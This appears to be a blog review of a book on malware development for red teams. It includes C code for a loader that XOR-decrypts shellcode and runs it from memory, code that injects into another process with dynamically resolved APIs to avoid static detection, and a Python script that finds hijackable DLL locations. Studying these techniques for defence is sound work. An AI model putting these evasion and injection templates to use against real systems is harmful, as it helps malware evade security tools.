Malware Development for Ethical Hackers: To Catch a Wolf

Zhussupov's book makes an argument most security curricula avoid: you cannot defend against techniques you haven't written yourself. XOR obfuscation, dynamic API resolution, DLL hijacking — the red team toolkit, explained.

The argument at the center of Zhassulan Zhussupov's Malware Development for Ethical Hackers is uncomfortable and correct: if you cannot write the attack, you do not fully understand what you're defending against.

This is about the epistemology of adversarial security. Blue teams that have never written a persistence mechanism do not recognize one the way red teams do. Defenders who have never obfuscated a payload cannot reliably distinguish obfuscated from clean. The knowledge asymmetry is a vulnerability, and the book treats it as one.

Authorized testing environments, written permission, scoped engagements — the legal scaffolding is table stakes. The point is what happens inside that scaffolding.


Static Detection Bypass: XOR and the Signature Problem

Antivirus and EDR static analysis work by matching byte patterns against known signatures. The same payload, XOR'd with a single byte key, produces a completely different byte sequence. No signature match. Clean scan.

#include <windows.h>
#include <stdio.h>

// XOR encrypt/decrypt — symmetric, so the same function does both
void xor_crypt(unsigned char *data, size_t len, unsigned char key) {
    for (size_t i = 0; i < len; i++) {
        data[i] ^= key;
    }
}

// In a real implant: payload bytes are stored XOR'd in the binary
// At runtime: decrypt in memory, execute from memory
// The plaintext payload never touches disk — no file to scan

unsigned char encrypted_payload[] = {
    0x23, 0x71, 0x4a, 0x1f, /* ... XOR'd shellcode bytes ... */
};

int main() {
    unsigned char key = 0x42;
    size_t payload_len = sizeof(encrypted_payload);

    // Decrypt in memory
    xor_crypt(encrypted_payload, payload_len, key);

    // Allocate executable memory and run
    LPVOID exec_mem = VirtualAlloc(
        NULL, payload_len,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    memcpy(exec_mem, encrypted_payload, payload_len);
    ((void(*)())exec_mem)();

    return 0;
}

XOR is the entry-level technique. The book covers it as a foundation, not a destination. Modern implementations use rolling keys, multi-byte XOR, or layer obfuscation with additional encoding. The principle is the same: transform the bytes so they match no known signature, then restore them at runtime inside a process that's already running.


Function Call Obfuscation: Hiding Intent from Static Analysis

A binary that imports CreateRemoteThread or VirtualAllocEx announces itself to any analyst reading its import table. These are high-signal Windows API calls. Static analysis tools flag binaries that import them.

Dynamic resolution hides the intent. Instead of importing the function directly, resolve it at runtime through GetProcAddress — a generic function that returns a pointer to any exported symbol by name. The import table shows LoadLibraryA and GetProcAddress. The actual API calls happen at runtime and are invisible to static analysis.

#include <windows.h>

// Function pointer types for the calls we want to hide
typedef LPVOID (WINAPI *pfnVirtualAllocEx)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL   (WINAPI *pfnWriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
typedef HANDLE (WINAPI *pfnCreateRemoteThread)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T,
                                               LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);

void inject_via_dynamic_resolution(HANDLE target_process, unsigned char *payload, size_t len) {
    HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");

    // Resolve at runtime — not visible in the import table
    pfnVirtualAllocEx    VAlloc  = (pfnVirtualAllocEx)   GetProcAddress(hKernel32, "VirtualAllocEx");
    pfnWriteProcessMemory WPM    = (pfnWriteProcessMemory)GetProcAddress(hKernel32, "WriteProcessMemory");
    pfnCreateRemoteThread CRT    = (pfnCreateRemoteThread)GetProcAddress(hKernel32, "CreateRemoteThread");

    // Allocate memory in the target process
    LPVOID remote_buf = VAlloc(target_process, NULL, len,
                               MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // Write payload into target's memory space
    WPM(target_process, remote_buf, payload, len, NULL);

    // Execute in target process context
    CRT(target_process, NULL, 0, (LPTHREAD_START_ROUTINE)remote_buf, NULL, 0, NULL);
}

The blue team answer is dynamic analysis — actually running the binary and observing what API calls it makes at runtime. Static analysis alone is not sufficient against a binary that resolves its most dangerous calls dynamically. This is the knowledge asymmetry: defenders who have never written this code often rely on static analysis longer than they should.

HACK LOVE BETRAY
COMING SOON

HACK LOVE BETRAY

Mobile-first arcade trench run through leverage, trace burn, and betrayal. The City moves first. You keep up or you get swallowed.

VIEW GAME FILE

DLL Hijacking: The Search Order Problem

Windows resolves DLL dependencies by searching a specific set of directories in order. Application directory first, then System32, then the system path. If a malicious DLL with the right name is placed in a directory that appears earlier in the search order than the legitimate one, Windows loads it instead.

The prerequisite is a writable directory that appears before System32 in the path for a specific application. These are more common than they should be — legacy software installs, per-user directories, applications that ship with writable plugin folders.

import os
import subprocess
import ctypes

def find_hijackable_dlls(target_exe: str) -> list[dict]:
    """
    Find DLLs loaded by the target that could be hijacked.
    Check if the application directory or any early-path directory
    is writable by the current (low-privilege) user.

    Run this against authorized targets to identify hijacking opportunities
    in your own software before an attacker does.
    """
    results = []

    # Get the application's directory — highest priority in search order
    app_dir = os.path.dirname(os.path.abspath(target_exe))

    # List DLLs the executable imports (requires dumpbin or similar)
    try:
        output = subprocess.check_output(
            ['dumpbin', '/dependents', target_exe],
            stderr=subprocess.DEVNULL
        ).decode('utf-8', errors='ignore')

        for line in output.splitlines():
            line = line.strip()
            if line.lower().endswith('.dll'):
                dll_name = line.strip()
                candidate_path = os.path.join(app_dir, dll_name)

                # Check if app directory is writable — can we plant a DLL here?
                can_write = os.access(app_dir, os.W_OK)

                results.append({
                    'dll': dll_name,
                    'app_dir_candidate': candidate_path,
                    'app_dir_writable': can_write,
                    'hijackable': can_write and not os.path.exists(candidate_path)
                })
    except Exception as e:
        pass

    return [r for r in results if r['hijackable']]

# Hardening: lock down application directories to read-only for non-admin users.
# Audit your own installs — anything in ProgramData or per-user AppData
# that loads DLLs from a writable location is a candidate.

The Authorization Argument

Zhussupov is careful about the scope. Authorized testing environments. Written permission. These are operational parameters that separate red teaming from crime, not caveats stapled to the bottom of a disclaimer. The same code, the same techniques, different authorization. The law is indifferent to your intentions without the documentation.

The deeper argument the book makes: security teams that have never been on the offense have a structural blind spot. They know what the alerts say. They do not know what the alerts miss. Writing the evasion technique is how you learn which detection layer it bypasses and why. That knowledge does not transfer from reading about it.

To catch a wolf, you must learn to hunt in its skin. The skin is uncomfortable. Put it on in a lab, under authorization, before someone else wears it against you.

Zhussupov writes about Windows malware. The same offense-as-credential argument extends naturally into the AI era — the six-vector frame for treating agentic AI as the attack surface is in Agentic AI Is the Attack Surface, with the same red-then-blue framing applied to the next layer.


GhostInThePrompt.com // To catch a wolf, you must learn to hunt in its skin.

Reference: 'Malware Development for Ethical Hackers' — Zhassulan Zhussupov (2024).